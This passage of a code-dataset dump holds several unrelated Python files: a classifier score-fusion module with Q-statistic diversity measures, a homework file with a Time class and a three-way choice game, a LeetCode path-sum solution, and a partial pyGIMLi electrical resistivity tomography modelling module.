to 1.\nQStatistic close to -1 means that both classifiers almost oppose each other and a fusion will be a disaster\nQStatistic close to 0 means that both classifiers are statistically independent and a fusion will be good\nQStatistic close to 1 means that both classifiers are almost the same and a fusion will not change anything\n\n\nResults\n\nKeyword Parameters:\n\ndecisions\nnumpy.array with the decisions of each classifier. 0 - wrong classification; 1 - correct classification\n\nExample combining 2 classifiers: 0 0\n1 1\n0 0\n1 0\n\"\"\"\n \n if(len(decisions.shape)!=2):\n raise ValueError(\"Need a 2D numpy.array\")\n\n #Only two classifiers\n if(decisions.shape[1] != 2):\n raise ValueError(\"Please, only two classifiers as input.\")\n\n A = numpy.where(decisions[:,0] == 1)[0]\n B = numpy.where(decisions[:,1] == 1)[0]\n N11 = float(len(numpy.intersect1d(A,B)))\n\n A = numpy.where(decisions[:,0] == 0)[0]\n B = numpy.where(decisions[:,1] == 0)[0]\n N00 = float(len(numpy.intersect1d(A,B)))\n\n A = numpy.where(decisions[:,0] == 1)[0]\n B = numpy.where(decisions[:,1] == 0)[0]\n N10 = float(len(numpy.intersect1d(A,B)))\n\n A = numpy.where(decisions[:,0] == 0)[0]\n B = numpy.where(decisions[:,1] == 1)[0]\n N01 = float(len(numpy.intersect1d(A,B)))\n\n #Computing Q-Statistic\n qS = ((N11*N00) - (N01*N10)) / ((N11*N00) + (N01*N10))\n\n #Disagreement measure\n d = (N01 + N10) / (N11 + N00 + N01 + N10)\n\n #The double-fault measure\n df = N00 / (N11 + N00 + N01 + N10)\n\n return qS,d,df\n\n @staticmethod\n def QAverage(decisions):\n \"\"\"\nCompute the average between the QStatistics (Q-Average) following the algorithm proposed in:\n\nQav = 2/L(L-1) * sum(sum(QStatistic)), where L is the number\n\nMeasures of Diversity in Classifier Ensembles and Their Relationship with the Ensemble Accuracy - LUDMILA I. KUNCHEVA AND CHRISTOPHER J. WHITAKER\n\nHow to interpret the QAverage?\nThe output is float and the range of the output is -1 to 1.\nQAverage close to -1 means that the classifiers almost oppose each other and a fusion will be a disaster\nQAverage close to 0 means that the classifiers are statistically independent and a fusion will be good\nQAverage close to 1 means that the classifiers are almost the same and a fusion will not change anything\n\nKeyword Parameters:\n\ndecisions\nnumpy.array with the decisions of each classifier. 0 - wrong classification; 1 - correct classification\n\nExample combining 3 classifiers: 0 0 0\n1 1 1\n0 0 1\n1 1 0\n\"\"\"\n\n if(len(decisions.shape)!=2):\n raise ValueError(\"Need a 2D numpy.array\")\n\n if(decisions.shape[1] <= 1):\n raise ValueError(\"Need at least 2 classifiers.\")\n\n L = decisions.shape[1]\n\n s = 0\n #Computing the SUM part\n for i in range(L-1):\n for j in range(i+1,L):\n qi = decisions[:,i].reshape(decisions.shape[0],1)\n qj = decisions[:,j].reshape(decisions.shape[0],1)\n\n qS,_,_ = ScoreFusion.computeStatistics(numpy.concatenate((qi,qj),axis=1))\n s = s + qS\n\n L = float(L)\n return (2/(L*(L-1))) * s\n\n\n ########\n # Static methods\n ########\n\n\n @staticmethod\n def create_parser(parser):\n \"\"\"Defines a sub parser for each fusion algorithm, with optional properties.\n\nKeyword Parameters:\n\nparser\nThe argparse.ArgumentParser to which I'll attach the subparsers to\n\n\"\"\"\n\n #For each resource (NORMALIZER.)\n import pkg_resources\n resource_name = 'antispoofing.fusion.normalizer'\n parser.add_argument('-n','--normalizer', type=str, default=None,\n choices=get_resources(resource_name), dest=\"normalizer\",\n help='The Normalization algorithm (defaults to \"%(default)s\")')\n\n\n #For each resource (FUSION ALGS.)\n resource_name = 'antispoofing.fusion.score_fusion'\n parser.add_argument('-f','--fusion-algorithm', type=str, default='SUM',\n choices=get_resources(resource_name), dest=\"fusion_alg\",\n help='The fusion algorithm (defaults to \"%(default)s\")')\n\n\n @staticmethod\n def load(args,normalization_scores=None):\n \"\"\"\nLoad the Score Fusion algorithm with the specified normalization algorithm\n\nKeyword Parameters:\n\nargs\nThe argparse.ArgumentParser\n\nnormalization_scores\nThe scores to generate the statistics for normalization\n\"\"\"\n \n #loading normalizer\n normalizer = load_resources('antispoofing.fusion.normalizer',args.normalizer)\n if(normalizer != None):\n normalizer = normalizer()\n normalizer.set_scores(normalization_scores)\n\n #loading fusion\n fusion_alg = load_resources('antispoofing.fusion.score_fusion',args.fusion_alg)\n fusion_alg = fusion_alg()\n fusion_alg.normalizer = normalizer\n return fusion_alg\n","sub_path":"antispoofing/fusion/score_fusion/score_fusion.py","file_name":"score_fusion.py","file_ext":"py","file_size_in_byte":6168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"157231143","text":"import random\n\n#Q1\nprint(\"Q1\")\n\nclass Time:\n\n def __init__(self, hours=0, minutes=0):\n\n self.hours = hours\n self.minutes = minutes\n\n def addTime(self):\n\n time1_hours = input()\n time1_minutes = input()\n time1 = Time(int(time1_hours), int(time1_minutes))\n\n time2_hours = input()\n time2_minutes = input()\n time2 = Time(int(time2_hours), int(time2_minutes))\n\n self.hours = time1.hours + time2.hours\n self.minutes = time1.minutes + time2.minutes\n\n def displayTime(self):\n # print the time calculated\n\n if self.minutes >= 60:\n\n if self.minutes == 120:\n self.hours += 2\n self.minutes = 0\n else:\n self.hours += 1\n self.minutes -= 60\n\n print(\"%d hours %d minutes\" % (self.hours, self.minutes))\n\n def displayMinute(self):\n # print the total minutes in the time calculated\n\n hours_to_minutes = self.hours * 60\n\n total_minutes = self.minutes + hours_to_minutes\n\n print (\"%d minutes\" % total_minutes)\n\n\ntime = Time()\ntime.addTime()\ntime.displayTime()\ntime.displayMinute()\n\n#Q2\nprint(\"Q2\")\n\nclass ClassA:\n\n name = \"A\"\n\n def __lt__(self, other):\n if other.name == \"B\":\n return False\n elif other.name == \"C\":\n return True\n\n def __gt__(self, other):\n if other.name == \"B\":\n return True\n elif other.name == \"C\":\n return False\n\n def __eq__(self, other):\n return False\n\nclass ClassB:\n\n name = \"B\"\n\n def __lt__(self, other):\n if other.name == \"A\":\n return True\n elif other.name == \"C\":\n return False\n\n def __gt__(self, other):\n if other.name == \"A\":\n return False\n elif other.name == \"C\":\n return True\n\n def __eq__(self, other):\n return False\n\nclass ClassC:\n\n name = \"C\"\n\n def __lt__(self, other):\n if other.name == \"A\":\n return False\n elif other.name == \"B\":\n return True\n\n def __gt__(self, other):\n if other.name == \"A\":\n return True\n elif other.name == \"B\":\n return False\n\n def __eq__(self, other):\n return False\n\nclass Player:\n\n def __init__(self):\n\n self.score = 0\n\n def get_score(self):\n return self.score\n\n def play(self):\n\n # returns an object of type either ClassA, ClassB, or ClassC\n ca = ClassA()\n cb = ClassB()\n cc = ClassC()\n\n vars = [ca, cb, cc]\n\n return random.choice(vars)\n\nclass PlayerX(Player):\n\n def __init__(self):\n\n super().__init__()\n\n def play(self):\n\n # read in the user's choice of a value from the keyboard instead of randomly selecting a move\n try:\n\n var = input(\"Input value of player([a], [b], [c], [end]): \")\n\n if var == \"a\":\n\n ca = ClassA()\n return ca\n\n elif var == \"b\":\n\n cb = ClassB()\n return cb\n\n elif var == \"c\":\n\n cc = ClassC()\n return cc\n\n elif var == \"end\": return \"end\"\n\n except KeyboardInterrupt:\n\n return \"end\"\n\nif __name__ == \"__main__\":\n\n playerX = PlayerX()\n playerY = PlayerX()\n\n while True:\n\n value_for_X = playerX.play()\n\n if value_for_X == \"end\": break\n\n value_for_Y = playerY.play()\n\n if value_for_Y == \"end\": break\n\n print (\"Player X chose \"+value_for_X.name+\", Player Y chose \"+value_for_Y.name+\".\")\n\n if value_for_X < value_for_Y:\n print (\"Player Y wins.\")\n playerY.score += 1\n\n elif value_for_X > value_for_Y:\n print (\"Player X wins.\")\n playerX.score += 1\n\n else:\n print (\"Draw.\")\n\n # Print the scores\n print (\"Player X score: %d, Player Y score: %d\" %(playerX.get_score(), playerY.get_score()))\n\n print (\"Game over\")","sub_path":"Homework/hw08.py","file_name":"hw08.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"544615095","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution:\n def pathSum(self, root: TreeNode, sum: int) -> int:\n self.res = 0\n cache = {0: 1}\n self.dfs(root, sum, 0, cache)\n return self.res\n\n def dfs(self, root, target, currentSum, cache):\n if not root:\n return\n currentSum += root.val\n oldPathSum = currentSum - target\n self.res += cache.get(oldPathSum, 0)\n cache[currentSum] = cache.get(currentSum, 0) + 1\n self.dfs(root.left, target, currentSum, cache)\n self.dfs(root.right, target, currentSum, cache)\n cache[currentSum] -= 1\n","sub_path":"src/437. Path Sum III/solutions.py","file_name":"solutions.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"527451152","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"2.5D non-optimized totalfield forward operator for ERT.\n\nPlease use the BERT package for more advanced forward operator\nhttps://gitlab.com/resistivity-net/bert\n\"\"\"\n\nimport numpy as np\n\nimport pygimli as pg\nfrom pygimli.frameworks import MeshModelling, MeshMethodManager\nfrom .visualization import showERTData\n\nfrom pygimli import pf\n\n\ndef simulate(mesh, scheme, res, sr=True, useBert=True,\n verbose=False, **kwargs):\n \"\"\"Convenience function to use the ERT modelling operator.\n\n Convenience function to use the ERT modelling operator\n if you like static functions.\n\n See :py:mod:`pygimli.ert.ERTManager.simulate` for description\n of the arguments.\n\n Parameters\n ----------\n mesh: :gimliapi:`GIMLI::Mesh` | str\n Modelling domain. Mesh can be a file name here.\n scheme: :gimliapi:`GIMLI::DataContainerERT` | str\n Data configuration. Scheme can be a file name here.\n res: see :py:mod:`pygimli.ert.ERTManager.simulate`\n Resistivity distribution.\n sr: bool [True]\n Use singularity removal technique.\n useBert: bool [True]\n Use Bert forward operator instead of the reference implementation.\n **kwargs:\n Forwarded to :py:mod:`pygimli.ert.ERTManager.simulate`\n \"\"\"\n ert = ERTManager(useBert=useBert, sr=sr, verbose=verbose)\n\n if isinstance(mesh, str):\n mesh = pg.load(mesh)\n\n if isinstance(scheme, str):\n scheme = pg.physics.ert.load(scheme)\n\n return ert.simulate(mesh=mesh, res=res, scheme=scheme,\n verbose=verbose, **kwargs)\n\n\n@pg.cache\ndef createGeometricFactors(scheme, numerical=None, mesh=None, verbose=False):\n \"\"\"Create geometric factors for a data scheme.\n\n Create geometric factors for a data scheme with and without topography.\n Calculation will be done analytical (only for half space geometry)\n or numerical.\n\n This function caches the result depending on scheme, mesh and pg.version()\n\n Parameters\n ----------\n scheme: :gimliapi:`GIMLI::DataContainerERT`\n Datacontainer of the scheme.\n numerical: bool | None [False]\n If numerical is None, False is assumed, we try to guess topography\n and warn if we think we found them.\n If set to True or False, numerical calculation will used respectively.\n mesh: :gimliapi:`GIMLI::Mesh` | str\n Mesh for numerical calculation. If not given, analytical geometric\n factors for halfspace earth are guessed or a default mesh will be\n created. The mesh will be h and p refined. If given topo is set to\n True. If the numerical effort is to high or the accuracy to low\n you should consider to calculate the factors manual.\n verbose: bool\n Give some output.\n \"\"\"\n if numerical is None:\n numerical = False\n if (min(pg.z(scheme)) != max(pg.z(scheme))):\n verbose=True\n pg.warn('Sensor z-coordinates not equal. Is there topography?')\n\n if numerical is False and mesh is None:\n if verbose:\n pg.info('Calculate analytical flat earth geometric factors.')\n\n return pg.core.geometricFactors(scheme, forceFlatEarth=True)\n\n if mesh is None:\n mesh = createInversionMesh(scheme)\n\n if verbose:\n pg.info('mesh', mesh)\n\n m = mesh.createH2()\n if verbose:\n pg.info('mesh-h2', m)\n\n m = m.createP2()\n if verbose:\n pg.info('mesh-p2', m)\n pg.info('Calculate numerical geometric factors.')\n d = simulate(m, res=1.0, scheme=scheme, sr=False, useBert=True,\n calcOnly=True, verbose=True)\n return 1./d['u']\n\n\ndef createInversionMesh(data, **kwargs):\n \"\"\"Create default mesh for ERT inversion\n\n Parameters\n ----------\n data: :gimliapi:`GIMLI::DataContainerERT`\n Data Container needs at least sensors to define the geometry of the\n mesh.\n\n Other Parameters\n ----------------\n Forwarded to :py:mod:`pygimli.meshtools.createParaMesh`\n\n Returns\n -------\n mesh: :gimliapi:`GIMLI::Mesh`\n Inversion mesh with default marker (1 for background,\n 2 parametric domain)\n \"\"\"\n mesh = pg.meshtools.createParaMesh(data.sensors(), **kwargs)\n return mesh\n\n\nclass ERTModellingBase(MeshModelling):\n def __init__(self, **kwargs):\n super(ERTModellingBase, self).__init__(**kwargs)\n\n def drawData(self, ax, data=None, **kwargs):\n \"\"\"Draw data in given axe.\"\"\"\n kwargs['label'] = kwargs.pop('label', pg.unit('res'))\n kwargs['cMap'] = kwargs.pop('cMap', pg.utils.cMap('res'))\n\n if hasattr(data, '__iter__'):\n vals = data\n data = self.data\n elif data is None:\n data = self.data\n\n vals = kwargs.pop('vals', data['rhoa'])\n\n return showERTData(data, vals=vals, ax=ax, **kwargs)\n\n def drawModel(self, ax, model, **kwargs):\n \"\"\"Draw the para domain with option model values\"\"\"\n kwargs.setdefault('label', pg.unit('res'))\n kwargs.setdefault('cMap', pg.utils.cMap('res'))\n\n return super(ERTModellingBase, self).drawModel(ax=ax, model=model,\n logScale=True,\n **kwargs)\n\n\nclass ERTModelling(ERTModellingBase):\n \"\"\" Forward operator for Electrical Resistivty Tomography\n\n Note\n ----\n Convention for complex resistiviy inversion:\n We want to use logarithm transformation for the imaginary part of model\n so we need the startmodel to have positive imaginary parts.\n The sign is flipped back to physical correct assumption before we call\n the response function.\n The Jacobian is calculated with negative imaginary parts and will\n be a conjugated complex block matrix for further calulations.\n \"\"\"\n def __init__(self, sr=True, verbose=False):\n \"\"\"Constructor, optional with data container and mesh.\"\"\"\n super(ERTModelling, self).__init__()\n\n # don't use DC*fop or its regionmanager directly\n #\n self._core = None\n if sr:\n self._core = pg.core.DCSRMultiElectrodeModelling(verbose=verbose)\n else:\n self._core = pg.core.DCMultiElectrodeModelling(verbose=verbose)\n\n self._core.initJacobian()\n self.setJacobian(self._core.jacobian())\n\n ## called from the ERTManager .. needed?\n self.solution = self._core.solution\n self.setComplex = self._core.setComplex\n self.complex = self._core.complex\n self.calculate = self._core.calculate\n self.calcGeometricFactor = self._core.calcGeometricFactor\n self.mapERTModel = self._core.mapERTModel\n\n self._conjImag = False # the model imaginaries are flipped to match log trans\n\n def setDefaultBackground(self):\n \"\"\"\n \"\"\"\n if self.complex():\n self.regionManager().addRegion(3, self._baseMesh, 2)\n\n regionIds = self.regionManager().regionIdxs()\n pg.info(\"Found {} regions.\".format(len(regionIds)))\n if len(regionIds) > 1:\n bk = pg.sort(regionIds)[0]\n pg.info(\"Region with smallest marker set to background (marker={0})\".format(bk))\n self.setRegionProperties(bk, background=True)\n\n def createStartModel(self, dataVals):\n \"\"\" Create Starting model for ERT inversion.\n \"\"\"\n if self.complex():\n dataC = pg.utils.toComplex(dataVals)\n nModel = self.regionManager().parameterCount() // 2\n smRe = np.ones(nModel) * np.median(np.median(dataC.real))\n smIm = np.ones(nModel) * np.median(np.median(dataC.imag))\n\n if min(smIm) < 0:\n # we want positive phase model\n sm = smRe - 1j * smIm\n pg.info('Model imaginary part has been flipped to positive values.')\n self._conjImag = True\n else:\n sm = smRe + 1j * smIm\n\n return pg.utils.squeezeComplex(sm) # complex impedance\n else:\n return super(ERTModelling, self).createStartModel(dataVals)\n\n def flipImagPart(self, v):\n z = pg.utils.toComplex(v)\n pg.warn('pre min/max={0} / {1} im: {2} / {3}'.format(pf(min(z.real)),\n pf(max(z.real)),\n pf(min(z.imag)),\n pf(max(z.imag))))\n\n\n v = pg.utils.squeezeComplex(pg.utils.toComplex(v), conj=self._conjImag)\n\n z = pg.utils.toComplex(v)\n pg.warn('pos min/max={0} / {1} im: {2} / {3}'.format(pf(min(z.real)),\n pf(max(z.real)),\n pf(min(z.imag)),\n pf(max(z.imag))))\n return v\n\n def response(self, mod):\n \"\"\"\"\"\"\n # ensure the mesh is initialized\n self.mesh()\n if self.complex() and self._conjImag:\n pg.warn('flip imaginary part for response calc')\n mod = self.flipImagPart(mod)\n\n resp = self._core.response(mod)\n\n if self.complex() and self._conjImag:\n pg.warn('backflip imaginary part after response calc')\n resp = self.flipImagPart(resp)\n\n return resp\n\n def createJacobian(self, mod):\n \"\"\"\"\"\"\n # ensure the mesh is initialized\n self.mesh()\n if self.complex():\n if self._conjImag:\n pg.warn('flip imaginary part for jacobian calc')\n mod = self.flipImagPart(mod)\n\n self._core.createJacobian(mod)\n self._J = pg.utils.squeezeComplex(self._core.jacobian(),\n conj=self._conjImag\n )\n self.setJacobian(self._J)\n # pg._r(\"create Jacobian\", self, self._J)\n return self._J\n\n return self._core.createJacobian(mod)\n\n def setDataPost(self, data):\n \"\"\"\"\"\"\n self._core.setData(data)\n\n def setMeshPost(self, mesh):\n \"\"\"\"\"\"\n self._core.setMesh(mesh, ignoreRegionManager=True)\n\n\nclass ERTModellingReference(ERTModellingBase):\n \"\"\"Reference implementation for 2.5D Electrical Resistivity Tomography.\"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"\"Constructor, optional with data container and mesh.\"\"\"\n super(ERTModelling, self).__init__()\n\n self.subPotentials = None\n self.lastResponse = None\n\n # only for mixed boundary hack since this need to know resistivies.\n self.resistivity = None\n\n # abscissa k and weight for 2.5 inverse cos-transform\n self.k = None\n self.w = None\n\n def response(self, model):\n \"\"\"Solve forward task.\n\n Create apparent resistivity values for a given resistivity distribution\n for self.mesh.\n \"\"\"\n ### NOTE TODO can't be MT until mixed boundary condition depends on\n ### self.resistivity\n pg.tic()\n if not self.data.allNonZero('k'):\n pg.error('Need valid geometric factors: \"k\".')\n pg.warn('Fallback \"k\" values to -sign(\"rhoa\")')\n self.data.set('k', -pg.math.sign(self.data('rhoa')))\n\n mesh = self.mesh()\n\n nDof = mesh.nodeCount()\n elecs = self.data.sensorPositions()\n\n nEle = len(elecs)\n nData = self.data.size()\n\n self.resistivity = res = self.createMappedModel(model, -1.0)\n\n if self.verbose:\n print(\"Calculate response for model:\", min(res), max(res))\n\n rMin = elecs[0].dist(elecs[1]) / 2.0\n rMax = elecs[0].dist(elecs[-1]) * 2.0\n\n k, w = self.getIntegrationWeights(rMin, rMax)\n\n self.k = k\n self.w = w\n\n # pg.show(mesh, res, label='res')\n # pg.wait()\n\n rhs = self.createRHS(mesh, elecs)\n\n # store all potential fields\n u = np.zeros((nEle, nDof))\n self.subPotentials = [pg.Matrix(nEle, nDof) for i in range(len(k))]\n\n for i, ki in enumerate(k):\n ws = dict()\n uE = pg.solve(mesh, a=1./res, b=-(ki * ki)/res, f=rhs,\n bc={'Robin': ['*', self.mixedBC]},\n userData={'sourcePos': elecs, 'k': ki},\n verbose=False, stats=0, debug=False)\n self.subPotentials[i] = uE\n u += w[i] * uE\n\n # collect potential matrix,\n # i.e., potential for all electrodes and all injections\n pM = np.zeros((nEle, nEle))\n\n for i in range(nEle):\n pM[i] = pg.interpolate(mesh, u[i, :], destPos=elecs)\n\n # collect resistivity values for all 4 pole measurements\n r = np.zeros(nData)\n\n for i in range(nData):\n iA = int(self.data('a')[i])\n iB = int(self.data('b')[i])\n iM = int(self.data('m')[i])\n iN = int(self.data('n')[i])\n\n uAB = pM[iA] - pM[iB]\n r[i] = uAB[iM] - uAB[iN]\n\n self.lastResponse = r * self.data('k')\n\n if self.verbose:\n print(\"Resp min/max: {0} {1} {2}s\".format(min(self.lastResponse),\n max(self.lastResponse),\n pg.dur()))\n\n return self.lastResponse\n\n def createJacobian(self, model):\n \"\"\"TODO WRITEME.\"\"\"\n if self.subPotentials is None:\n self.response(model)\n\n J = self.jacobian()\n J.resize(self.data.size(), self.regionManager().parameterCount())\n\n cells = self.mesh().findCellByMarker(0, -1)\n Si = pg.matrix.ElementMatrix()\n St = pg.matrix.ElementMatrix()\n\n u = self.subPotentials\n\n pg.tic()\n if self.verbose:\n print(\"Calculate sensitivity matrix for model: \",\n min(model), max(model))\n\n Jt = pg.Matrix(self.data.size(),\n self.regionManager().parameterCount())\n\n for kIdx, w in enumerate(self.w):\n k = self.k[kIdx]\n w = self.w[kIdx]\n\n Jt *= 0.\n A = pg.matrix.ElementMatrixMap()\n\n for i, c in enumerate(cells):\n modelIdx = c.marker()\n\n # 2.5D\n Si.u2(c)\n Si *= k * k\n Si += St.ux2uy2uz2(c)\n\n # 3D\n # Si.ux2uy2uz2(c); w = w* 2\n\n A.add(modelIdx, Si)\n\n for dataIdx in range(self.data.size()):\n\n a = int(self.data('a')[dataIdx])\n b = int(self.data('b')[dataIdx])\n m = int(self.data('m')[dataIdx])\n n = int(self.data('n')[dataIdx])\n Jt[dataIdx] = A.mult(u[kIdx][a] - u[kIdx][b],\n u[kIdx][m] - u[kIdx][n])\n\n J += w * Jt\n\n m2 = model*model\n k = self.data('k')\n\n for i in range(J.rows()):\n J[i] /= (m2 / k[i])\n\n if self.verbose:\n sumsens = np.zeros(J.rows())\n for i in range(J.rows()):\n sumsens[i] = pg.sum(J[i])\n print(\"sens sum: median = \", pg.math.median(sumsens),\n \" min = \", pg.min(sumsens),\n \" max = \", pg.max(sumsens))\n\n def calcGeometricFactor(self, data):\n \"\"\"Calculate geometry factors for a given dataset.\"\"\"\n if pg.y(data.sensorPositions()) == pg.z(data.sensorPositions()):\n k = np.zeros(data.size())\n for i in range(data.size()):\n a = data.sensorPosition(data('a')[i])\n b = data.sensorPosition(data('b')[i])\n m = data.sensorPosition(data('m')[i])\n n = data.sensorPosition(data('n')[i])\n k[i] = 1./(2.*np.pi) * (1./a.dist(m) - 1./a.dist(n) -\n 1./b.dist(m) + 1./b.dist(n))\n return k\n else:\n raise BaseException(\"Please use BERT for non-standard \"\n \"data sets\" + str(data))\n\n def uAnalytical(self, p, sourcePos, k):\n \"\"\"\n Calculate analytical potential for homogeneous halfspace.\n\n For sigma = 1 [S m]\n \"\"\"\n r1A = (p - sourcePos).abs()\n # Mirror on surface at depth=0\n r2A = (p - pg.RVector3(1.0, -1.0, 1.0) * sourcePos).abs()\n\n if r1A > 1e-12 and r2A > 1e-12:\n return (pg.math.besselK0(r1A * k) + pg.math.besselK0(r2A * k)) / \\\n (2.0 * np.pi)\n else:\n return 0.\n\n def getIntegrationWeights(self, rMin, rMax):\n \"\"\"TODO WRITEME.\"\"\"\n nGauLegendre = max(int((6.0 * np.log10(rMax / rMin))), 4)\n nGauLaguerre = 4\n\n k = pg.Vector()\n w = pg.Vector()\n\n k0 = 1.0 / (2.0 * rMin)\n pg.GaussLegendre(0.0, 1.0, nGauLegendre, k, w)\n kLeg = k0 * k * k\n wLeg = 2.0 * k0 * k * w / np.pi\n\n pg.GaussLaguerre(nGauLaguerre, k, w)\n kLag = k0 * (k + 1.0)\n wLag = k0 * np.exp(k) * w / np.pi\n\n return pg.cat(kLeg, kLag), pg.cat(wLeg, wLag)\n\n def mixedBC(self, boundary, userData):\n \"\"\"Apply mixed boundary conditions.\"\"\"\n if boundary.marker() != pg.core.MARKER_BOUND_MIXED:\n return 0\n\n sourcePos = pg.center(userData['sourcePos'])\n\n k = userData['k']\n r1 = boundary.center() - sourcePos\n\n # Mirror on surface at depth=0\n r2 = boundary.center() - pg.RVector3(1.0, -1.0, 1.0) * sourcePos\n r1A = r1.abs()\n r2A = r2.abs()\n\n rho = 1.\n\n if self.resistivity is not None:\n rho = self.resistivity[boundary.leftCell().id()]\n\n n = boundary.norm()\n\n if r1A > 1e-12 and r2A > 1e-12:\n ## see mod-dc-2d example for robin like BC and the negative sign\n if (pg.math.besselK0(r1A * k) + pg.math.besselK0(r2A * k)) > 1e-12:\n\n return 1./rho * k * (r1.dot(n) / r1A * pg.math.besselK1(r1A * k) +\n r2.dot(n) / r2A * pg.math.besselK1(r2A * k)) /\\\n (pg.math.besselK0(r1A * k) + pg.math.besselK0(r2A * k))\n else:\n return 0.\n else:\n return 0.\n\n def pointSource(self, cell, f, userData):\n r\"\"\"\n Define function for the current source term.\n\n :math:`\\delta(x-pos), \\int f(x) \\delta(x-pos)=f(pos)=N(pos)`\n Right hand side entries will be shape functions(pos)\n \"\"\"\n i = userData['i']\n sourcePos = userData['sourcePos'][i]\n\n if cell.shape().isInside(sourcePos):\n f.setVal(cell.N(cell.shape().rst(sourcePos)), cell.ids())\n\n def createRHS(self, mesh, elecs):\n \"\"\"TODO WRITEME.\"\"\"\n rhs = np.zeros((len(elecs), mesh.nodeCount()))\n for i, e in enumerate(elecs):\n c = mesh.findCell(e)\n rhs[i][c.ids()] = c.N(c.shape().rst(e))\n return rhs\n\n\nclass ERTManager(MeshMethodManager):\n \"\"\"ERT Manager.\n\n Method Manager for Electrical Resistivity Tomography (ERT)\n\n TODO:\n * 3d\n * 3dtopo\n * complex on/off\n * closed geometry\n * transdim\n * singularity removal\n * ERT specific inversion options:\n * ...\n \"\"\"\n def __init__(self, data=None, **kwargs):\n \"\"\"Create ERT Manager instance.\n\n Parameters\n ----------\n data: :gimliapi:`GIMLI::DataContainerERT` | str\n You can initialize the Manager with data or give them a dataset\n when calling the inversion.\n\n Other Parameters\n ----------------\n * useBert: bool [True]\n Use Bert forward operator instead of the reference implementation.\n * sr: bool [True]\n Calculate with singularity removal technique.\n Recommended but needs the primary potential.\n For flat earth cases the primary potential will be calculated\n analytical. For domains with topography the primary potential\n will be calculated numerical using a p2 refined mesh or\n you provide primary potentials with setPrimPot.\n \"\"\"\n self.useBert = kwargs.pop('useBert', True)\n self.sr = kwargs.pop('sr', True)\n\n super().__init__(data=data, **kwargs)\n self.inv.dataTrans = pg.trans.TransLogLU()\n\n def setSingularityRemoval(self, sr=True):\n \"\"\"Turn singularity removal on or off.\"\"\"\n self.reinitForwardOperator(sr=True)\n\n def createForwardOperator(self, **kwargs):\n \"\"\"Create and choose forward operator. \"\"\"\n verbose = kwargs.pop('verbose', False)\n self.useBert = kwargs.pop('useBert', self.useBert)\n self.sr = kwargs.pop('sr', self.sr)\n if self.useBert:\n pg.verbose('Create ERTModelling FOP')\n fop = ERTModelling(sr=self.sr, verbose=verbose)\n else:\n pg.verbose('Create ERTModellingReference FOP')\n fop = ERTModellingReference(**kwargs)\n\n return fop\n\n def load(self, fileName):\n \"\"\"Load ERT data.\n\n Forwarded to :py:mod:`pygimli.physics.ert.load`\n\n Parameters\n ----------\n fileName: str\n Filename for the data.\n Returns\n -------\n data: :gimliapi:`GIMLI::DataContainerERT`\n \"\"\"\n self.data = pg.physics.ert.load(fileName)\n return self.data\n\n def createMesh(self, data=None, **kwargs):\n \"\"\"Create default inversion mesh\n\n Forwarded to :py:mod:`pygimli.physics.ert.createInversionMesh`\n \"\"\"\n d = data or self.data\n\n if d is None:\n pg.critical('Please provide a data file for mesh generation')\n\n return createInversionMesh(d, **kwargs)\n\n def setPrimPot(self, pot):\n \"\"\"\n \"\"\"\n pg.critical(\"Not implemented.\")\n\n def simulate(self, mesh, scheme, res, **kwargs):\n \"\"\"Simulate an ERT measurement.\n\n Perform the forward task for a given mesh, a resistivity distribution\n (per cell), a measurement\n scheme and will return data (apparent resistivity) or potential fields.\n\n This function can also operate on complex resistivity models, thereby\n computing complex apparent resistivities.\n\n The forward operator itself only calculate potential values\n for the given scheme file.\n To calculate apparent resistivities, geometric factors (k) are needed.\n If there are no values k in the DataContainerERT scheme, then we will\n try to calculate them, either analytic or by using a p2-refined\n version of the given mesh.\n\n TODO\n ----\n * 2D + Complex + SR\n\n Parameters\n ----------\n mesh : :gimliapi:`GIMLI::Mesh`\n 2D or 3D Mesh to calculate for.\n\n res : float, array(mesh.cellCount()) | array(N, mesh.cellCount()) | list\n Resistivity distribution for the given mesh cells can be:\n . float for homogeneous resistivity\n . single array of length mesh.cellCount()\n . matrix of N resistivity distributions of length mesh.cellCount()\n . resistivity map as [[regionMarker0, res0],\n [regionMarker0, res1], ...]\n\n scheme : :gimliapi:`GIMLI::DataContainerERT`\n Data measurement scheme.\n\n Keyword Arguments\n ----------------\n verbose: bool[False]\n Be verbose. Will override class settings.\n calcOnly: bool [False]\n Use fop.calculate instead of fop.response. Useful if you want\n to force the calculation of impedances for homogeneous models.\n No noise handling. Solution is put as token 'u' in the returned\n DataContainerERT.\n noiseLevel: float [0.0]\n add normally distributed noise based on\n scheme('err') or on noiseLevel if scheme did not contain 'err'\n noiseAbs: float [0.0]\n Absolute voltage error in V\n returnArray: bool [False]\n Returns an array of apparent resistivities instead of\n a DataContainerERT\n returnFields: bool [False]\n Returns a matrix of all potential values (per mesh nodes)\n for each injection electrodes.\n\n Returns\n -------\n rhoa : DataContainerERT | array(N, data.size()) | array(N, data.size()),\n array(N, data.size())\n Data container with resulting apparent resistivity data and\n errors (if noiseLevel or noiseAbs is set).\n Optional returns a Matrix of rhoa values\n (for returnArray==True forces noiseLevel=0).\n In case of a complex valued resistivity model, phase values will be\n returned in the DataContainerERT (see example below), or as an\n additional returned array.\n\n Examples\n --------\n # TODO: Remove pybert dependencies\n # >>> import pybert as pb\n # >>> import pygimli as pg\n # >>> import pygimli.meshtools as mt\n # >>> world = mt.createWorld(start=[-50, 0], end=[50, -50],\n # ... layers=[-1, -5], worldMarker=True)\n # >>> scheme = pb.createData(\n # ... elecs=pg.utils.grange(start=-10, end=10, n=21),\n # ... schemeName='dd')\n # >>> for pos in scheme.sensorPositions():\n # ... _= world.createNode(pos)\n # ... _= world.createNode(pos + [0.0, -0.1])\n # >>> mesh = mt.createMesh(world, quality=34)\n # >>> rhomap = [\n # ... [1, 100. + 0j],\n # ... [2, 50. + 0j],\n # ... [3, 10.+ 0j],\n # ... ]\n # >>> ert = pb.ERTManager()\n # >>> data = ert.simulate(mesh, res=rhomap, scheme=scheme, verbose=True)\n # >>> rhoa = 